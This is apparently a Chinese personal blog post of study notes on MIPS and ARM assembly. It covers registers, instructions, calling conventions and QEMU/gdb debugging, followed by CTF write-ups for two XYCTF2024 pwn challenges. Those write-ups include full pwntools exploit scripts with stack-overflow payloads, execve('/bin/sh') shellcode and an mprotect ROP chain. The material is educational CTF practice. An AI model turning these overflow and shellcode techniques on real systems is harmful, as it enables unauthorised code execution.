mips汇编学习
Zach0ry Lv4

mips基础知识

mars编译器

寄存器布局

寄存器名 编号 用途 关注点
$zero $0 恒为 0 无法修改,常用于清零操作
$a0 - $a3 $4 - $7 参数传递 函数的前 4 个参数,超过的压栈
$v0 - $v1 $2 - $3 返回值 寻找漏洞后的函数执行结果检查
$t0 - $t9 $8 - $15 临时变量 类似于 eax/ebx,随意使用
$s0 - $s7 $16 - $23 静态变量 函数调用后需恢复(Callee-saved)
$gp $28 全局指针 访问全局数据
$sp $29 栈指针 栈溢出的核心:指向当前栈顶
$fp $30 帧指针 局部变量定位
$ra $31 返回地址 最核心! 相当于 x86 的 EIP 返回值。劫持它就控制了执行流

$t (Temporary, 寄存器 8-15, 24-25): * 临时工。调用别的函数时,这些寄存器的值不保证还能留着。如果你的函数里用了 $t0,紧接着执行了 jal 调用另一个函数,回来后 $t0 的值可能已经被改了。

$s (Saved, 寄存器 16-23): * 正式工。调用别的函数时,这些值必须保持不变。如果一个函数想用 $s0,它必须先把原来的值存到栈里,用完再恢复(即“谁用谁负责还原”)。

常用指令

指令 功能 语法 示例 解释
add 加法(有符号) add $rd, $rs, $rt add $t0, $t1, $t2 $t1$t2 的值相加,结果存储在 $t0 中。
addu 加法(无符号) addu $rd, $rs, $rt addu $t0, $t1, $t2 $t1$t2 的值相加(无符号),结果存储在 $t0 中。
sub 减法(有符号) sub $rd, $rs, $rt sub $t0, $t1, $t2 $t1 的值减去 $t2 的值,结果存储在 $t0 中。
subu 减法(无符号) subu $rd, $rs, $rt subu $t0, $t1, $t2 $t1 的值减去 $t2 的值(无符号),结果存储在 $t0 中。
and 按位与 and $rd, $rs, $rt and $t0, $t1, $t2 $t1$t2 的值按位与,结果存储在 $t0 中。
or 按位或 or $rd, $rs, $rt or $t0, $t1, $t2 $t1$t2 的值按位或,结果存储在 $t0 中。
xor 按位异或 xor $rd, $rs, $rt xor $t0, $t1, $t2 $t1$t2 的值按位异或,结果存储在 $t0 中。
nor 按位与非 nor $rd, $rs, $rt nor $t0, $t1, $t2 $t1$t2 的值按位与非,结果存储在 $t0 中。
sll 左移 sll $rd, $rt, shamt sll $t0, $t1, 2 $t1 的值左移 2 位,结果存储在 $t0 中。
srl 逻辑右移 srl $rd, $rt, shamt srl $t0, $t1, 2 $t1 的值右移 2 位,结果存储在 $t0 中。
sra 算术右移 sra $rd, $rt, shamt sra $t0, $t1, 2 $t1 的值算术右移 2 位,结果存储在 $t0
lw 加载字(32 位) lw $rt, offset($rs) lw $t0, 4($a0) 从地址 $a0 + 4 处加载 4 字节数据到 $t0
sw 存储字(32 位) sw $rt, offset($rs) sw $t0, 4($a0) $t0 中的数据存储到地址 $a0 + 4 处。
lb 加载字节(8 位) lb $rt, offset($rs) lb $t0, 0($a0) 从地址 $a0 处加载 1 字节数据到 $t0
sb 存储字节(8 位) sb $rt, offset($rs) sb $t0, 0($a0) $t0 中的 1 字节数据存储到地址 $a0 处。
lui 加载上半字(立即数) lui $rt, imm lui $t0, 0x1234 将立即数 0x1234 加载到 $t0 的高 16 位(低 16 位为 0)。
ori 立即数按位或 ori $rt, $rs, imm ori $t0, $t1, 0xFF $t1 和立即数 0xFF 按位或,结果存储在 $t0 中。
beq 等于分支 beq $rs, $rt, offset beq $t0, $t1, label 如果 $t0 等于 $t1,则跳转到 label
bne 不等于分支 bne $rs, $rt, offset bne $t0, $t1, label 如果 $t0 不等于 $t1,则跳转到 label
j 无条件跳转 j target j label 跳转到 label 处。
jal 跳转并链接 jal target jal subroutine 跳转到 subroutine,并将返回地址存储在 $ra 寄存器中。
jr 跳转寄存器 jr $rs jr $ra 跳转到 $ra 寄存器中存储的地址。
nop 空操作 nop nop 什么也不做,通常用于填充延迟槽。

总结

参数寄存器 ($a0 - $a3):函数调用的前 4 个参数放在这里。如果你想调用 system("/bin/sh"),你必须想办法把 "/bin/sh" 的地址塞进 $a0

返回值寄存器 ($v0, $v1):函数执行完的结果放在这。

返回地址寄存器 ($ra)Pwn 的终极目标。函数执行完 jr $ra 跳转回调用者。

在 C 语言中,当 main 函数调用 vuln() 时,汇编层面会执行 jal(Jump and Link)指令:

MIPS Assembler

1
2
3
># main 函数内部
>jal 0x400500 <-- 调用 vuln 函数
># 下一条指令的地址 A (假设是 0x400404)

关键动作: jal 指令在跳转到 0x400500 的瞬间,会自动把“下一条指令的地址 A”存入 $ra 寄存器。这样 vuln 执行完后,才知道该回到哪里继续运行。

栈指针寄存器 ($sp):指向当前栈顶。MIPS 没有 push/pop,全是靠 addi $sp, $sp, -imm 来手动开辟空间。

零寄存器 ($zero):值永远为 0。常用于清零或赋值操作。

延迟绑定

这是 MIPS 的特殊之处。当 beqbne 条件成立需要跳转时,紧跟在分支指令后面的那一条指令仍然会被执行,然后才跳转到目标位置。

Pwn 贴士: 在分析漏洞函数时,如果你看到一条 bne 指令,别忘了看它下面那一行做了什么。有时候关键的寄存器赋值就在延迟槽里完成。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# ----------------------------------------------------------------
# 程序功能:输入两个整数,输出其中较大的那个
# ----------------------------------------------------------------

.data
prompt: .asciiz "请输入两个整数(空格分隔):"
result_msg: .asciiz "较大的数是:"
newline: .asciiz "\n"

.text
.globl main

main:
# 1. 打印提示字符串 (syscall 4)
li $v0, 4
la $a0, prompt
syscall

# 2. 读取第一个整数 (syscall 5),存入 $s0
li $v0, 5
syscall
move $s0, $v0

# 3. 读取第二个整数 (syscall 5),存入 $s1
li $v0, 5
syscall
move $s1, $v0

# 4. 调用函数 find_max (参数传给 $a0, $a1)
move $a0, $s0
move $a1, $s1
jal find_max # 跳转并链接,返回地址存入 $ra

move $s2, $v0 # 函数结果返回在 $v0,我们把它搬到 $s2

# 5. 打印结果提示
li $v0, 4
la $a0, result_msg
syscall

# 6. 打印最大的数 (刚才存好的 $s2)
li $v0, 1
move $a0, $s2
syscall

# 7. 优雅退出 (syscall 10)
li $v0, 10
syscall

# --- 子函数:find_max ---
# 参数:$a0, $a1
# 返回值:$v0 (较大的数)
find_max:
# 比较 $a0 < $a1
slt $t0, $a0, $a1 # 如果 $a0 < $a1, $t0 = 1
beq $t0, $zero, a0_is_bigger # 如果 $t0 == 0 (即 a0 >= a1),跳转

# 情况1:a1 更大
move $v0, $a1
jr $ra # 返回 main

a0_is_bigger:
# 情况2:a0 更大
move $v0, $a0
jr $ra # 返回 main

image

如何在find_max:内部调用函数要通过sw把返回地址存在栈上

通过lw取出(相当于在sp+4的位置上临时储存返回地址)

1
2
3
4
5
6
7
8
9
10
11
find_max:
subu $sp, $sp, 8 # 开辟栈空间
sw $ra, 4($sp) # 保存返回地址

jal check_even # 假设这里又调用了一个判断奇偶的子函数

# ... 比较逻辑 ...

lw $ra, 4($sp)
addu $sp, $sp, 8
jr $ra

XYCTF2024_EZ1.0?例题

EZ1.0?

gdb调试流程

启动 QEMU (Server 端)

1
qemu-mipsel-static -g 1234 ./mips

再开一个终端进行gdb调试

1
2
3
4
gdb-multiarch ./mips#启动gdb并连接
set architecture mips#说明是mips架构
set endian little#小端序
target remote :1234#通过网络连接到QEMU开启的1234端口

杀死所有QEMU进程

1
killall -9 qemu-mipsel-static

分析

image

输入地址是在sp+0x18处

image

lw $ra, 0x58+var_s4($sp)看到返回地址是在sp+0x5c处

所以垃圾字节应该填充0x44个,也可以通过cyclic 0x100去看

1
2
.text:0040088C                 lw      $ra, 0x58+var_s4($sp)
.text:00400890 lw $fp, 0x58+var_s0($sp)

找到偏移之后通过read写shellcode到bss,然后让它跳转过去执行

写shellcode

覆盖fp,并改变逻辑让它去再次执行read

为了保持fp和sp一样,fp要减去0x60

1
payload = b'a'*0x40 + p32(bss + 0x200 - 0x60) + p32(read_addr)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch='mips', os='linux', log_level='debug', endian='little')

file_path = "./mips"

if 're' in sys.argv:
p = remote("challenge.imxbt.cn",32196)
else:
p = process(['qemu-mipsel-static', file_path])
# p = process(['qemu-mipsel-static', '-g', '1234', file_path]) # 调试建议开启
elf = ELF(file_path)
sc = asm('''
li $a2, 0
li $a1, 0
li $t0, 0x68732f2f
sw $t0, -8($sp)
li $t0, 0x6e69622f
sw $t0, -12($sp)
addiu $a0, $sp, -12
li $v0, 4011
syscall
''')

print(f"Shellcode length: {len(sc)}")

read_addr = 0x400860
bss = 0x00492790
payload = b'a'*0x40 + p32(bss + 0x200 - 0x60) + p32(read_addr)
p.send(payload)
payload = b'a'*0x44 + p32(bss + 0x200) + asm(shellcraft.sh())
p.send(payload)

p.interactive()

ARM架构拓展

树莓派环境模拟

工具下载

1
2
3
sudo apt update
sudo apt install qemu-user qemu-user-static
sudo apt install gdb-multiarch

ARM 的运行库下载

1
sudo apt install libc6-armel-cross

调试环境搭建

qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn 程序会暂停,等待 gdb 连接

-L 指定 ARM 的运行库路径

另一终端启动 gdbgdb-multiarch ./pwn

设置架构 set architecture arm

连接 target remote :1234

脚本

1
2
3
4
5
6
7
from pwn import *

context.arch = 'arm'
context.os = 'linux'
context.log_level = 'debug'

p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./pwn"])

调试模式

1
2
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "./pwn"])
pause()

然后

gdb-multiarch ./pwn
target remote :1234

AARCH64(64位 ARM)

1
sudo apt install libc6-arm64-cross

运行:

1
qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn

调试:

1
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

基础操作

ARM32:16 个通用寄存器 R0~R12、SP、LR、PC

ARM64:31 个通用寄存器 X0~X30,另有 SP、PC

寄存器 核心用途
R0~R3 前 4 个函数参数、R0 存函数返回值
R4~R10 被调用者保存,函数调用不会被随便改,存局部变量
R11(FP) 栈帧指针,用来标记函数栈起始位置,回溯调用栈
R12(IP) 临时中转寄存器,函数跳转、动态链接用

三大特殊寄存器(重中之重)

  • SP 栈指针:永远指向栈顶,压栈减 SP、出栈加 SP
  • LR 链接寄存器:调用函数时,自动存返回地址
  • PC 程序计数器:存当前执行指令地址,改 PC 就能劫持流程(Pwn 核心)

XYCTF2024_EZ2.0?例题

imageimage

开了NX保护,可以调用mprotect函数机进行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# r= process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./arm"])
from pwn import *
context(arch='arm', os='linux', log_level='debug')#pwntools 有 “自动架构识别
# r = process("./arm")
r=remote("challenge.imxbt.cn",30922)
e = ELF('./arm')

r.recv()
sc = asm(shellcraft.arm.linux.setreuid() + shellcraft.arm.linux.execve('/bin/sh'))


# .text:000521BC MOV R12, R0
# .text:000521C0 POP {R0-R4,LR}
# .text:000521C4 BX R12
pop_r0_4_lr = 0x521BC
pop_r0_pc = 0x5f73c
mprotect_addr = 0x28F10
read_addr = 0x10588

payload = b'a'*0x40 + p32(e.bss()+0x44)
payload+= p32(pop_r0_pc) + p32(mprotect_addr) + p32(pop_r0_4_lr) + p32(e.bss()) + \
p32(0x1000)+p32(7)+p32(0)+p32(0)+p32(read_addr)
r.sendline(payload)

payload = sc.ljust(0x44, b'\x00') + p32(e.bss())
r.sendline(payload)

r.interactive()
 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View